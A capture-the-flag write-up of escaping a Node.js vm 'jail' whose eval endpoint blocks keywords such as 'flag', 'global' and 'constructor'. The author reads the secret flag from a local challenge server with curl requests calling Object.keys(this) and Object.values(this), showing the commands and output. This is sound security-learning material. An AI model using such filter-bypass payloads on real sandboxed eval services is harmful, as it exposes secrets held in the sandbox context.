gist:
Break a JavaScript jail that uses Node's vm module to create a sandbox environment.

steps:
1. run script (which was an adventure on its own)
2. test limitations
3. think about object properties
4. get the flag
5. proof and further ideas

1. In this case, setting up the challenge took longer than solving it (welcome to JavaScript, I guess):

First, create **package.json** and install **dependencies**:

```
npm init -y
npm install express
```

Then add "type": "module" to package.json because apparently JavaScript has different ways of importing stuff.
Finally run it:

```
node chall.js
```

2. The challenge uses a POST endpoint at /eval that runs our JavaScript code in a sandbox. The code shows some clear restrictions:

```
if (/flag|FLAG|global|require|constructor|Function/.test(code)) {
  return res.status(400).send('Disallowed code');
}
```

So we can't use words like:
- flag/FLAG (the thing we want)
- global
- require
- constructor
- Function

Looking at the code, I saw that the flag is put into a **context** object:

```
const context = { flag: FLAG };
vm.createContext(context);
```

3. Being completely new to JavaScript, I thought about what objects typically have and remembered from Python that you can often list object properties and values. A quick search confirmed that JavaScript has similar capabilities.

First, test if the server works:

```
curl -X POST -H "Content-Type: application/json" -d '{"code":"2 + 2"}' http://localhost:3000/eval
```

Then look at what properties exist in **'this'** (which in the sandbox points to our context):

curl -X POST -H "Content-Type: application/json" -d '{"code":"Object.keys(this)"}' http://localhost:3000/eval
flag

4. At this point, it was pretty obvious. If **keys()** shows us the properties, **values()** should show us... well, the values:

curl -X POST -H "Content-Type: application/json" -d '{"code":"Object.values(this)"}' http://localhost:3000/eval
flag{REDACTED}

And there it was! Without ever using the banned word "flag", we got the flag by just asking for all values in the context. These were literally the only commands in the otherwise virgin terminal:

```
[redacted]-[/mnt/d/Level3]
$ curl -X POST -H "Content-Type: application/json" -d '{"code":"2 + 2"}' http://localhost:3000/eval
4
[redacted]-[/mnt/d/Level3]
$ curl -X POST -H "Content-Type: application/json" -d '{"code":"Object.keys(this)"}' http://localhost:3000/eval
flag
[redacted]-[/mnt/d/Level3]
$ curl -X POST -H "Content-Type: application/json" -d '{"code":"Object.values(this)"}' http://localhost:3000/eval
flag{REDACTED}
```

5. Further ideas:
While this worked perfectly fine, I wondered if there were other ways to get at object properties in JavaScript. Some ideas I didn't need to try:
- Looking at the prototype chain (like in Python)
- Using array notation to access properties
- Finding ways to get to the global object

But in the end, the simple approach of just asking for all values worked perfectly. Sometimes the easiest solution is the right one!

Lessons learned:
0. This was more about learning how to run and request in a new language. Researching this took me more time than the challenge. I am glad, **GithubCopilot** helped me to get setup and syntax right.
1. JavaScript objects have convenient methods like Object.keys() and Object.values()
2. Just blocking certain words isn't enough for security
3. Sometimes being new to a language helps - you look for the basic ways to do things, and they often work!

Quod erat demonstrandum.